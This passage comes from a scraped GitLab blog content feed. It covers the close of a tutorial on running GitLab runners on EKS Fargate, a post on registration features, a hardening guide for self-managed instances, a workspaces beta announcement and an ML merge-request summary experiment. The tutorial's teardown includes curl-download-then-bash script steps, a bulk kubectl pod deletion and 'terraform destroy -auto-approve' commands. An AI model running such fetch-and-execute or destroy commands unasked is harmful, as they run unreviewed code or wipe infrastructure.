created the runner, use the web IDE to create .gitlab-ci.yml and populate it with the following content:\n   ```yaml\n   parallel-fargate-hello-world:\n     image: public.ecr.aws/docker/library/bash\n     stage: build\n     parallel: 200\n     script:\n       - echo \"Hello Fargate World\"\n   ```\n\n**Hard Lesson:** After hitting the Docker hub image pull rate limit, I shifted to the same container in the AWS Public Elastic Container Registry (ECR), which has an [image pull rate limit](https://docs.aws.amazon.com/AmazonECR/latest/public/public-service-quotas.html) of 10 per second for this scenario.\n\nIf the job does not automatically start, use the pipeline page to force it to run.\n\nIf everything is configured correctly, your final pipeline status panel should look something like this:\n\n![codecountingcilog](https://about.gitlab.com/images/blogimages/eks-fargate-runner/completedjobs.png)\n\n### 5. Runner scaling experimentation\n\nThese and other commands are available in the GitLab documentation for [GitLab Runner Helm Chart](https://docs.gitlab.com/runner/install/kubernetes.html#additional-configuration).\n\nAdditional runners can be added by re-running the install command with a different name for the runner (if using the same token you’ll have two runners in the same group or project):\n\n`helm install --namespace gitlab-runner runner2 -f runnerregistration.yaml gitlab/gitlab-runner`\n\n200 jobs takes just under 2 minutes.\n\n#### 400 parallel jobs\n\nBy setting up a second identical job (with a unique job name), I was able to process 400 total jobs.\n\n**Hard Lesson:** The runner likes to schedule all jobs in a parallel job on the same runner instance. It does not seem to want to split a large job across multiple runners registered in the same project. So in order to get more than 200 jobs to process, I had to have two registered runners set to `concurrent:200` and two seperate jobs set to `parallel: 200`\n\n400 jobs takes just over 3 minutes.\n\n#### More than 400 parallel jobs\n\nAs I tried to scale higher, jobs started to hang. I tried specifically routing jobs to five runners each capable of 300 parallel jobs. I also tried multiple stages and used a hack of `needs []` to get simultaneous execution of jobs in multiple stages.\n\nI was not successful and there could be a wide variety of reasons why — a riddle for a future iteration.\n\nThis command can be used to update a runner's settings after editing the Helm values file (including the token to move the runner to another context): \n\n`helm upgrade --namespace gitlab-runner -f runnerregistration.yaml runner2 gitlab/gitlab-runner`\n\nI found that when I pushed the limits, I would sometimes end up with hung pods until I understood what needed adjusting. Leaving hung Fargate pods will add up to a lot of cash because the pricing assumes very short execution times. This command helps you terminate job pods without accidentally terminating the runner manager pods:\n\n`kubectl get pods --all-namespaces --no-headers |  awk '{if ($2 ~ \"_YOUR_JOB_POD_PREFACE_*\") print $2}' | xargs kubectl -n _YOUR_RUNNER_NAMESPACE_ delete pod`\n\nDon't forget to replace \\_YOUR_RUNNER_NAMESPACE_ and \\_YOUR_JOB_POD_PREFACE_ “_YOUR_JOB_POD_PREFACE\\_” is the unique preface of ONLY the jobs from a given runner followed by the wildcard star character => \\*\n\nTo uninstall a runner, use:\n\n`helm delete --namespace gitlab-runner runner1`\n\n#### Testing Auto DevOps to prove `image:` tag is honored\n\nTechnically testing Auto DevOps to prove the `image:` tag is honored this isn’t entirely necessary since the above job loads the bash container without the container being specified in any of the runner or infrastructure setup. However, I performed this as a litmus test anyway.\n\nFollow these steps:\n\n1. Create a new project by clicking the “+” sign in the top bar of GitLab.\n2. On the next page, select “New Project/Repository”.\n3. Then “Create from template”.\n4. Select “Ruby on Rails” (first choice).\n5. Once the project creation is complete, register an EKS runner to it (or re-register the existing runner to the new project).\n6. In the project, select “Settings (Gear Icon)” => “CI/CD” => Auto DevOps => Default to Auto DevOps pipeline.\n7. Click “Save changes”.\n\nThe Auto DevOps pipeline should run. If you don’t have a cluster wired up, it will mainly do security scanning, which is sufficient to prove that arbitrary containers can be used by the Fargate-backed GitLab Runner.\n\n### 6. Solution tuning via extensible platform\n\nEKS Blueprints is not only product-managed, it is also an extensible platform or framework. In the spirit of fully leveraging the extensible product managed EKS Blueprints project, you will always want to check if Blueprints is already instrumented for your scenario before writing code. Additionally, if you must write code, you can consider contributing it as an EKS Blueprint extension so the community can take on some responsibility for maintaining it.\n\n1. The EKS Blueprints Managed IaC has a dizzing number of tuning parameters and optional extensions. For instance, if you want the full GitLab Runner logs collected to AWS CloudWatch, it is a simple configuration to add fluentd log agent to push custom logs to CloudWatch.\n2. Using Fargate for always-on containers is a trade-off of compute costs to get rid of Kubernetes node management overhead. This trade-off can be easily reversed in this example by removing the \"kube-system\" from \"fargate_profiles\" - since Karpenter is also installed and configured, the hosts will autoscale for load.\n\n### 7. Teardown\n\nThe next few instructions are from https://github.com/aws-ia/terraform-aws-eks-blueprints/blob/main/examples/karpenter/README.md#user-content-destroy.\n\nIf you are using AWS CloudShell and the /terraform directory no longer exists, perform these steps to re-prepare AWS CloudShell to perform teardown.\n\nIf you are not using AWS CloudShell, skip forward to “Teardown steps”.\n\n1. `curl -sSL https://gitlab.com/guided-explorations/aws/aws-cloudshell-configs/-/raw/main/add-all.sh -o $HOME/add-all.sh; chmod +x $HOME/add-all.sh; bash $HOME/add-all.sh`\n2. `curl -sSL https://gitlab.com/guided-explorations/aws/aws-cloudshell-configs/-/raw/main/prep-for-terraform.sh -o $HOME/prep-for-terraform.sh; chmod +x $HOME/prep-for-terraform.sh; bash $HOME/prep-for-terraform.sh`\n3. `git clone https://github.com/aws-ia/terraform-aws-eks-blueprints.git --no-checkout /terraform/terraform-aws-eks-blueprints` \n4. `cd /terraform/terraform-aws-eks-blueprints/`\n5. `git reset --hard tags/v4.29.0`\n6. `git clone https://gitlab.com/guided-explorations/aws/eks-runner-configs/gitlab-runner-eks-fargate.git /terraform/terraform-aws-eks-blueprints/examples/glrunner`\n\n   > **Note:** The above steps can be accomplished by running this: `s=prep-eksblueprint-karpenter.sh ; curl -sSL https://gitlab.com/guided-explorations/aws/aws-cloudshell-configs/-/raw/main/${s} -o /tmp/${s}; chmod +x /tmp/${s}; bash /tmp/${s}` .\n\n7. `cd /terraform/terraform-aws-eks-blueprints/examples/glrunner`\n8. `terraform init`\n\nFollow these teardown steps:\n\n1. `helm delete --namespace gitlab-runner runner1`\n2. `helm delete --namespace gitlab-runner runner2`\n3. `terraform destroy -target=\"module.eks_blueprints_kubernetes_addons\" -auto-approve -state=$HOME/tfstate/runner.tfstate`\n4. `terraform destroy -target=\"module.eks\" -auto-approve -state=$HOME/tfstate/runner.tfstate`\n5. **Note:** If you receive an error about refreshing cached credentials, simply re-run the command again and it will usually update successfully.\n6. `terraform destroy -auto-approve -state=$HOME/tfstate/runner.tfstate`\n\n### Iteration _n_ : We would love your input\n\nThis blog is \"Iteration 1\" precisely because it has not been production load-tested nor specifically cost-engineered. And obviously a “Hello, World” script is not testing much in the way of real work. I really set out to understand if we could run arbitrary containers in a GitLab Fargate setup (and we can) and then got curious about what parallel job scaling might look like with Fargate (and it looks good). The Kubernetes Runner executor has many, many available customizations and it is likely that scaling a production loaded implementation on EKS will reveal the need to tune more of these parameters. \n\n#### **Collaborative contribution challenges**\n\nHere are some ideas for further collaborative work on this project:\n\n- To push the limits, create a configuration that can scale to 1000 simultaneous jobs.\n- An aws-logging config map that uploads runner pod logs to AWS CloudWatch.\n- A cluster configuration where runner managers and everything that is not a runner job run on non-Fargate nodes – if and only if it will be cheaper than Fargate running 24 x 7.\n- A Fargate Spot configuration. It’s important that compute type be noted as a runner tag and it’s important that the same cluster has non-spot instances because some jobs should not run on spot compute and the decision whether to do so should be available to the GitLab CI Developer who is creating an pipeline.\n\n#### Other runner scaling initiatives\n\nWhile GitLab is building the Next Runner Auto-scaling Architecture, [Kubernetes refinements are not a part of this architectural initiative](https://docs.gitlab.com/ee/architecture/blueprints/runner_scaling/#proposal).\n\n#### Everyone can contribute\n\nThis tutorial, as well as code for additional examples, will be maintained as open source as a GitLab Alliances Solution and we’d love to have your contributions as you iterate and discover the configurations necessary for your real-world scenarios. This tutorial is in a group wiki and the code will be in the projects under that group here: [AWS Guided Explorations for EKS Runner Configurations](https://gitlab.com/guided-explorations/aws/eks-runner-configs/gitlab-runner-eks-fargate/-/blob/main/README.md). \n\nPhoto by [Jeremy Lapak](https://unsplash.com/@jeremy_justin?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/runner?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[4103,2488,944],{"slug":10078,"featured":6,"template":678},"eks-fargate-runner","content:en-us:blog:eks-fargate-runner.yml","Eks Fargate Runner","en-us/blog/eks-fargate-runner.yml","en-us/blog/eks-fargate-runner",{"_path":10084,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10085,"content":10090,"config":10096,"_id":10098,"_type":16,"title":10099,"_source":17,"_file":10100,"_stem":10101,"_extension":20},"/en-us/blog/expanded-registration-features-program",{"title":10086,"description":10087,"ogTitle":10086,"ogDescription":10087,"noIndex":6,"ogImage":9425,"ogUrl":10088,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10088,"schema":10089},"Security features now free with expanded Registration Program","More features are now available for free to free self-managed Enterprise Edition users when they register and turn on their Service Ping.","https://about.gitlab.com/blog/expanded-registration-features-program","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Free access to security, other features with expanded Registration Features Program\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sarah Waldner\"}],\n        \"datePublished\": \"2023-05-24\",\n      }",{"title":10091,"description":10087,"authors":10092,"heroImage":9425,"date":10074,"body":10094,"category":736,"tags":10095},"Free access to security, other features with expanded Registration Features Program",[10093],"Sarah Waldner","\nIn GitLab 14.1, we introduced [Registration Features](https://docs.gitlab.com/ee/administration/settings/usage_statistics.html#registration-features-program), which offers free self-managed users running [GitLab Enterprise Edition](https://about.gitlab.com/enterprise/) free use of paid features by registering with GitLab and sending us activity data via Service Ping. This month, we are expanding the program to include five more features:\n\n1. [Password complexity requirements](https://docs.gitlab.com/ee/administration/settings/sign_up_restrictions.html#password-complexity-requirements): By default, the only requirement for user passwords is minimum password length. To increase security of user accounts, you have the option to add additional complexity requirements. Under Minimum password length, select additional password complexity requirements. You can require numbers, uppercase letters, lowercase letters, and symbols.\n2. [Track description changes in issues](https://docs.gitlab.com/ee/user/discussions/index.html#view-description-change-history): When multiple people are collaborating on an issue, it is common to see the description change with no explanation. This feature makes it easy to review previous versions of the issue description or understand who made which specific changes. Issue description versions can be compared by looking at the changes to the description listed in the history. To compare the changes, select Compare with the previous version.\n3. [Configurable issue boards](https://docs.gitlab.com/ee/user/project/issue_board.html#configurable-issue-boards): An issue board can be associated with a milestone, labels, assignee, weight, and current iteration, which automatically filter the board issues accordingly. This allows you to create unique boards according to your team’s needs.\n4. [Coverage-guided fuzz testing](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/#coverage-guided-fuzz-testing): Coverage-guided fuzz testing sends random inputs to an instrumented version of your application in an effort to cause unexpected behavior. Such behavior indicates a bug that you should address. GitLab allows you to add coverage-guided fuzz testing to your pipelines. This helps you discover bugs and potential security issues that other QA processes may miss.\n5. [Maintenance Mode](https://docs.gitlab.com/ee/administration/maintenance_mode/index.html): Maintenance Mode allows administrators to reduce write operations to a minimum while maintenance tasks are performed. The main goal is to block all external actions that change the internal state, including the PostgreSQL database, but especially files, Git repositories, and Container repositories. When Maintenance Mode is enabled, in-progress actions finish relatively quickly since no new actions are coming in, and internal state changes are minimal.\n\nThe above five features join the list of features already available to the registered tier:\n1. [Email from GitLab](https://docs.gitlab.com/ee/administration/email_from_gitlab.html#email-from-gitlab): Allow admins to send mass notification emails to all users, or subset of users based on project or group memberships.\n2. [Repository size limit](https://docs.gitlab.com/ee/administration/settings/account_and_limit_settings.html#repository-size-limit): Ensure that disk space usage is under control by setting a hard limit for your repositories’ size; limits can be set globally, per group or per project.\n3. [Restrict access by IP address](https://docs.gitlab.com/ee/user/group/access_and_permissions.html#restrict-group-access-by-ip-address): Restrict access at the group level to incoming traffic adhering to an IP address subnet; ensures only people from your organization can access particular resources.\n\n## How to to participate in the Registration Features Program \nIf you are interested in participating as a free self-managed user running GitLab Enterprise Edition, you can read about [how to turn on Service Ping here](https://docs.gitlab.com/ee/administration/settings/usage_statistics.html#enable-or-disable-usage-statistics).\n",[754,736,695],{"slug":10097,"featured":6,"template":678},"expanded-registration-features-program","content:en-us:blog:expanded-registration-features-program.yml","Expanded Registration Features Program","en-us/blog/expanded-registration-features-program.yml","en-us/blog/expanded-registration-features-program",{"_path":10103,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10104,"content":10109,"config":10114,"_id":10116,"_type":16,"title":10117,"_source":17,"_file":10118,"_stem":10119,"_extension":20},"/en-us/blog/how-to-harden-your-self-managed-gitlab-instance",{"title":10105,"description":10106,"ogTitle":10105,"ogDescription":10106,"noIndex":6,"ogImage":6022,"ogUrl":10107,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10107,"schema":10108},"How to harden your self-managed GitLab instance","Learn seven easy steps to ensure your self-managed GitLab instance is as secure as possible.","https://about.gitlab.com/blog/how-to-harden-your-self-managed-gitlab-instance","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to harden your self-managed GitLab instance\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ayoub Fandi\"}],\n        \"datePublished\": \"2023-05-23\",\n      }",{"title":10105,"description":10106,"authors":10110,"heroImage":6022,"date":10111,"body":10112,"category":734,"tags":10113},[2306],"2023-05-23","\n\"You are as secure as your weakest link\" is a well-understood phrase. If attackers find their way in, they will exploit any gaps in your security configurations. Hardening — the process of turning off unused features and making adjustments to settings that have security implications — is critical to limit your attack surface and reduce potential attack vectors.\n\nHardening ensures that your application (in this case GitLab) is as secure as it can be. The goal is simple: minimize risk while still preserving enough functionality for users to remain as productive as possible.\n\n## Guiding principles\nThese principles should guide the way you approach hardening. The security activities in the checklist below will tie back to one or another of these principles.\n\n### Layered security\nThe idea behind this is simple. If there are two ways to implement security, both ways should be implemented instead of just one. You can try to combine as many methods as possible. \n\nFor instance, if you are trying to secure access to your service, you could combine a complex password with hardware tokens and multifactor authentication. This approach is also called defense-in-depth.\n\n### No security through obscurity\nThe idea of hiding things works in many cases, but not so in the information security world. The premise that if something is hidden then it is more secure isn’t a viable approach today. \n\nCurrent scanning capabilities available to attackers shatter through obscurity. It is very easy for anyone to scan for open ports on a system. If you’ve swapped the SSH port TCP 22 to a different port, it would be picked up by a network scanning tool such as Nmap. \n\nAs GitLab is committed to transparency and open source, our approach is at odds with security through obscurity. The goal of security is to remove any security through obscurity. Our documentation is available to all and security best practices are clearly labeled and detailed.\n\n### Reducing the attack surface\nGitLab comprises numerous components, services, and dependencies. A critical aspect of security is: The more components you have, the more entryways attackers have.\n\nA good rule to keep in mind is to always disable services that you do not need to run the application. If there are features that aren’t used, disabling the related services will reduce the potential attack surface and make you more secure.\n\n## 7 steps to secure your self-managed instance\nLet’s go through seven easy steps to quickly harden your self-managed instance. These quick wins are great first steps towards securing your installation. Of course, refer to the [documentation](https://docs.gitlab.com/ee/security/) for additional details and further guidance on each section.\n\n### 1. Enable multi-factor authentication\n**Admin > Settings > General > Sign-in restrictions**\n\nEnsure that the checkbox next to _Two-factor authentication_ (2FA) is **checked**. The default setting for _Two-factor grace period_ is 48 hours. Adjust it to a lower value, such as **8 hours**.\n\nEnsure the checkbox next to _Enable admin mode_ is **checked** so that _Admin Mode_ is **active**. Users with Admin access will have to use additional authentication to perform administrative tasks. With 2FA enabled, this will require additional 2FA authentication by the user.\n\nFor more detailed information, refer to the documentation on [sign-in restrictions](https://docs.gitlab.com/ee/administration/settings/sign_in_restrictions.html).\n\n### 2. Enforce additional sign-up checks\n**Admin > Settings > General > Sign-up restrictions**\n\nNext to _Sign-up enabled_ ensure the checkbox is **unchecked**.\n\nUnder _Email confirmation settings_ ensure that **Hard** is selected. This will require the user to verify their email address during the sign-up process before their account is allowed access.\n\nThe _Minimum password length (number of characters)_ default setting of 12 characters is fine if additional authentication techniques are enforced. Options available for password complexity include _Require numbers_, _Require uppercase letters_, _Require lowercase letters_, and _Require symbols_. Check these boxes depending on your internal password standard (also check out [NIST SP 800-63B](https://pages.nist.gov/800-63-3/sp800-63b.html)).\n\nIf all users' email addresses are under a single domain (e.g., example.com), consider **adding it** to the _Allowed domains for sign-ups_. This will prevent those with email addresses associated with other domains from signing up.\nFor more detailed information, refer to the documentation on [sign-up restrictions](https://docs.gitlab.com/ee/administration/settings/sign_up_restrictions.html).\n\n### 3. Limit public visibility of your groups and projects\n**Admin > Settings > General > Visibility and access control**\n\nThe _Default project visibility_ and _Default group visibility_ for any newly created project or group should be set to **Private** by default. Only users that are granted specific access to a project or group will be able to access these resources. This can be adjusted later if necessary or when creating a new project or group. This ensures the default mode is secure to prevent accidental disclosure of information.\n\nFor more details on Visibility and access control [refer to the documentation](https://docs.gitlab.com/ee/administration/settings/visibility_and_access_controls.html).\n\n### 4. Harden your SSH settings\n**Admin > Settings > General > Visibility and access control**\n\nTypically, under _Enabled Git access protocols_ it will be set to _Both SSH and HTTP(S)_. If one of the Git protocols is not in use by your users, set it to **either** _Only SSH_ or _Only HTTP(S)_ accordingly. This will reduce the attack surface by limiting possibilities of compromise through an unused protocol.\nFor SSH key types, the most recommended algorithms to use are, in order: \n1. ED25519\n1. RSA \n1. ECDSA\n\nWhen configuring default types and lengths for SSH keys, keep in mind the list above.\n\nSpecific details on SSH settings can be found [here](https://docs.gitlab.com/ee/security/ssh_keys_restrictions.html) and [here](https://docs.gitlab.com/ee/administration/settings/visibility_and_access_controls.html#configure-enabled-git-access-protocols) for Git Access protocols.\n\n### 5. Review the account and limit settings\n**Admin > Settings > General > Account and limit settings**\n\nThis section allows you to limit the size of attachments, pushes, exports, imports, or repositories. As the specific size (in MB) will be tailored to your needs, review these settings and **set limits** in line with your internal policies.\n**Session duration for users** (in minutes) and **lifetime of SSH keys and all access tokens** (in days) can also be configured. Ensure the durations are in accordance with your internal policies and security best practices.\n\nReview the [documentation](https://docs.gitlab.com/ee/administration/settings/account_and_limit_settings.html) and apply changes that enforce your own policies.\n\n### 6. Secure your CI secrets\n**Admin > Settings > CI**\n\nPasswords, tokens, keys, and other secrets that require any level of protection should never be stored in plaintext. Instead, some type of **encrypted container technology (Secrets Manager)** should be implemented, such as GCP's Secret Manager, AWS Key Management Service (KMS), or HashiCorp Vault. For self-managed and standalone instances, HashiCorp Vault is **recommended**, and many GitLab features can take advantage of Vault and are well described in the [documentation](https://docs.gitlab.com/search/?query=vault).\n\nFor external communications, ensure any connectivity with external hosts in your CI/CD process is using encrypted channels. The use of TLS 1.2 or above is highly recommended and where possible mutual TLS will help things considerably.\nFor details on the use of external secrets for your CI/CD pipeline, check [here](https://docs.gitlab.com/ee/ci/secrets/) for actual examples and configuration guides.\n\n### 7. Protect your pipelines for all branches\n**Admin > Settings > CI**\n\nPipelines are a part of jobs that execute steps in stages to automate tasks on behalf of the users of a project. They are a central component of CI/CD.\nBy default, only the default branch gets a protected pipeline. Configure your other branches with the same level of security by following [these simple steps](https://docs.gitlab.com/ee/user/project/protected_branches.html#configure-a-protected-branch). This considerably hardens your pipelines.\n\nThe security features enabled by default on protected pipelines are listed in our [documentation](https://docs.gitlab.com/ee/ci/pipelines/#pipeline-security-on-protected-branches).\n\nOnce the pipeline has run, the code will be deployed in an environment. To limit interactions with that environment and to protect it from unauthorized users, you can set your key environments as protected.\n\nPrerequisites and full process are available in the [documentation](https://docs.gitlab.com/ee/ci/environments/protected_environments.html).\n\n### Learn more \nThis is a high-level overview of the different areas to focus on when hardening your self-managed GitLab instance. A blog post can’t include every single security recommendation. That’s why we maintain detailed [security documentation](https://docs.gitlab.com/ee/security/) on how to secure your installation. \n\nPlease refer to the documentation as the single source of truth on hardening. Hopefully, with the help of the action items highlighted above, you’ll harden your self-managed GitLab instance while preserving agility and speed.\n\nIf you want to learn more about how we do security **at GitLab**, review the [security section](https://about.gitlab.com/handbook/security/) of the handbook.\n",[674,696,943],{"slug":10115,"featured":6,"template":678},"how-to-harden-your-self-managed-gitlab-instance","content:en-us:blog:how-to-harden-your-self-managed-gitlab-instance.yml","How To Harden Your Self Managed Gitlab Instance","en-us/blog/how-to-harden-your-self-managed-gitlab-instance.yml","en-us/blog/how-to-harden-your-self-managed-gitlab-instance",{"_path":10121,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10122,"content":10128,"config":10133,"_id":10135,"_type":16,"title":10136,"_source":17,"_file":10137,"_stem":10138,"_extension":20},"/en-us/blog/introducing-workspaces-beta",{"title":10123,"description":10124,"ogTitle":10123,"ogDescription":10124,"noIndex":6,"ogImage":10125,"ogUrl":10126,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10126,"schema":10127},"A first look at workspaces: On-demand, cloud-based development environments","Remote development workspaces are now available in Beta for GitLab Premium and Ultimate users.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682731/Blog/Hero%20Images/code-editor-workspace.jpg","https://about.gitlab.com/blog/introducing-workspaces-beta","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A first look at workspaces: On-demand, cloud-based development environments\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Eric Schurter\"}],\n        \"datePublished\": \"2023-05-23\",\n      }",{"title":10123,"description":10124,"authors":10129,"heroImage":10125,"date":10111,"body":10131,"category":736,"tags":10132},[10130],"Eric Schurter","\n\nCloud-based development tools are quickly gaining popularity for their ability to provide a consistent, secure developer experience and streamline developer onboarding, which can reduce the time it takes for a developer to contribute to a codebase from days to hours, or even minutes. To support this shift in developer workflows, GitLab has introduced a significant upgrade in [remote development](/direction/create/ide/remote_development/) in GitLab 16.0. Secure, on-demand, cloud-based development workspaces are now available in Beta for GitLab Premium and Ultimate users on GitLab.com and on self-managed instances.\n\nThe December 2022 [release of the Web IDE Beta](/blog/get-ready-for-new-gitlab-web-ide/) delivered a familiar, feature-rich editing experience in your browser and the ability to connect to a remote server and interact with a cloud-based runtime environment. Workspaces take experience to the next level by bringing the configuration, orchestration, and management of your remote development environments into GitLab for the first time.\n\n### What is a workspace? \nA workspace is your personal, ephemeral development environment in the cloud, created using centrally managed and curated dependencies defined in code. Developing with a workspace enables you to spend less time configuring your local development environment and more time focusing on writing code. Instead of managing package updates and troubleshooting version conflicts, consistent and reproducible cloud-based environments are available on demand. \n\nEach workspace is a unique instance of your environment so you can switch between tasks seamlessly and have confidence that your environment will remain stable between sessions. Whether used as a tool to accelerate developer onboarding, provide stable environments for education purposes, or improve security by limiting the need to clone code locally, workspaces will change how you develop software on GitLab.\n\n### How do you create a workspace? \nTo create a workspace in GitLab, you’ll need: \n\n- **A cloud platform or self-hosted Kubernetes cluster:** This release is focused on delivering a “bring your own infrastructure” solution. We know that many of you want complete control over your infrastructure and code, so we have prioritized hosting workspaces on your own infrastructure or in the cloud platform of your choice. \n\n- **An agent:** Everything starts with the GitLab Agent for Kubernetes. Once you have the agent running in a Kubernetes cluster, [configuring remote development](https://docs.gitlab.com/ee/user/workspace/#prerequisites) is a matter of installing a couple of dependencies and adding a few lines of code to the agent configuration. \n\n- **A devfile:** After you have an agent configured, you need to define your environment in a `.devfile.yaml` file, stored at the root of a project. In this file, you can specify container images, map ports, define volume mounts, [and more](https://docs.gitlab.com/ee/user/workspace/#relevant-schema-properties). \n\n- **An editor:** In the first iteration, we are supporting the Web IDE and injecting it into the workspace. In future iterations, we will add support for other editors like [Jupyter Notebook](https://gitlab.com/gitlab-org/gitlab/-/issues/408381).\n\n- Optionally, you can [override the default timeout for your workspace](https://docs.gitlab.com/ee/user/workspace/index.html#create-a-workspace) to make sure you’re using cloud resources efficiently. Since workspaces are meant to be ephemeral, the default lifespan is 24 hours, but it can be set as high as a week. \n\nAfter you’ve created your workspace, you can launch the Web IDE with a single click and get right to work. \n\nWant to see it in action? This short video walks you through the configuration of an agent and the creation of a workspace: \n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/lDVaOtO_JVM\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n### What comes next?\nWe’re excited to start getting your feedback so we’re introducing this as a Beta for public projects. Your credentials aren't currently being injected into the workspace during its creation, which means you can’t automatically clone private repositories. You can, however, create a workspace and authenticate yourself manually after it’s running. We’ll be working on [injecting credentials](https://gitlab.com/groups/gitlab-org/-/epics/10480) as well as addressing some other points of friction to make this even easier for developers to adopt. We’ll also be working on: \n\n- [Connecting to a workspace via SSH from your desktop IDE](https://gitlab.com/groups/gitlab-org/-/epics/10478)\n- [Support for alternative editors](https://gitlab.com/groups/gitlab-org/-/epics/10635) like Jupyter Notebook or vim\n- [Configure instance or group-level usage limits to manage cloud resources](https://gitlab.com/groups/gitlab-org/-/epics/10571)\n- [Support for architectures other than amd64](https://gitlab.com/groups/gitlab-org/-/epics/10594)\n\nAs you can see, we have an ambitious roadmap ahead of us, and we want to hear from you. Please let us know how you are using workspaces, what features are most important to you, and share any issues you run into along the way in the [public feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/410031). We can’t wait to see how you integrate workspaces into your DevSecOps workflow to improve the developer experience!\n\n**Disclaimer**: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab.\n\nCover image by [AltumCode](https://unsplash.com/@altumcode) on [Unsplash](https://unsplash.com/photos/dC6Pb2JdAqs)\n{: .note}\n\n",[3949,754,736],{"slug":10134,"featured":6,"template":678},"introducing-workspaces-beta","content:en-us:blog:introducing-workspaces-beta.yml","Introducing Workspaces Beta","en-us/blog/introducing-workspaces-beta.yml","en-us/blog/introducing-workspaces-beta",{"_path":10140,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10141,"content":10146,"config":10151,"_id":10153,"_type":16,"title":10154,"_source":17,"_file":10155,"_stem":10156,"_extension":20},"/en-us/blog/summarize-my-merge-request-review",{"title":10142,"description":10143,"ogTitle":10142,"ogDescription":10143,"noIndex":6,"ogImage":8601,"ogUrl":10144,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10144,"schema":10145},"ML experiment: Summarize my merge request review","Learn how GitLab is experimenting with ML-powered merge request review summaries in this latest installment of our ongoing 'AI/ML in DevSecOps' series.","https://about.gitlab.com/blog/summarize-my-merge-request-review","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"ML experiment: Summarize my merge request review\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kai Armstrong\"}],\n        \"datePublished\": \"2023-05-18\",\n      }",{"title":10142,"description":10143,"authors":10147,"heroImage":8601,"date":10148,"body":10149,"category":791,"tags":10150},[9201],"2023-05-18","\n\n\u003Ci>This blog is the latest post in an ongoing series about GitLab’s journey to \u003Ca href=\"/blog/ai-ml-in-devsecops-series/\">build and integrate AI/ML into our DevSecOps platform\u003C/a>. The first blog post can be found \u003Ca href=\"/blog/what-the-ml-ai/\">here\u003C/a>. Throughout the series, we’ll feature blogs from our product, engineering, and UX teams to showcase how we’re infusing AI/ML into GitLab.\u003C/i>\n\nDuring the course of reviewing a merge request, you may sometimes leave many comments. Those comments may have specific information about things that need to be changed, or context for why you're leaving feedback on the proposed changes. If you've left a lot of comments, it might be hard to remember everything you've said and what the author should look at to resolve your feedback.\n\nIn a rapid prototype, [Stanislav Lashmanov](https://gitlab.com/slashmanov), Senior Frontend Engineeer for our [Code Review Group](/handbook/product/categories/#code-review-group), used AI/ML to summarize your merge request review when [submitting your review](https://docs.gitlab.com/ee/user/project/merge_requests/reviews/#submit-a-review). He developed a new AI action that provides a summary, and allows you to edit or revise prior to submitting the review:\n\n![Summarize my merge request review via AI](https://about.gitlab.com/images/blogimages/summarize-my-merge-request-review-ai.gif){: .shadow}\n\nProviding authors with these review summaries allows them to quickly understand the feedback and scope of revisions required without the need to process the entire review. This helps to speed up the cycle time for teams as they work through review rounds in merge requests.\n\n## Iterating on AI/ML features\n\nWhile just an experiment today, we are iterating on how to effectively bring features like this to our customers. We'll continue to refine the type of review feedback we provide, and then look at how we can better integrate these summaries in to the review cycle. You can see some of our [design efforts](https://gitlab.com/gitlab-org/gitlab/-/issues/408307) we've been exploring with the [summarizing merge request changes](/blog/merge-request-changes-summary-ai/) feature to get an idea of our possible direction.\n\nThis experiment is just the start of the ways we're infusing GitLab with AI/ML capabilities to help GitLab users become more efficient and effective at their jobs. We are [looking across the software development lifecycle](/blog/what-the-ml-ai/) for painful and time-consuming tasks that are ideal for AI-assisted features. We'll continue to share these demos throughout this blog series.\n\nInterested in using these AI-generated features? [Join our waitlist](https://forms.gle/9eeUkPJauKsbLaoz5) and share your ideas.\n\nContinue reading our \"[AI/ML in DevSecOps](/blog/ai-ml-in-devsecops-series/)\" series.\n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._\n",[943,695,754,790],{"slug":10152,"featured":6,"template":678},"summarize-my-merge-request-review","content:en-us:blog:summarize-my-merge-request-review.yml","Summarize My Merge Request Review","en-us/blog/summarize-my-merge-request-review.yml","en-us/blog/summarize-my-merge-request-review",{"_path":10158,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10159,"content":10164,"config":10169,"_id":10171,"_type":16,"title":10172,"_source":17,"_file":10173,"_stem":10174,"_extension":20},"/en-us/blog/code-suggestions-for-all-during-beta",{"title":10160,"description":10161,"ogTitle":10160,"ogDescription":10161,"noIndex":6,"ogImage":8601,"ogUrl":10162,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10162,"schema":10163},"Code Suggestions available to all GitLab tiers while in Beta","All users can acess Code Suggestions AI-assisted feature while it is in 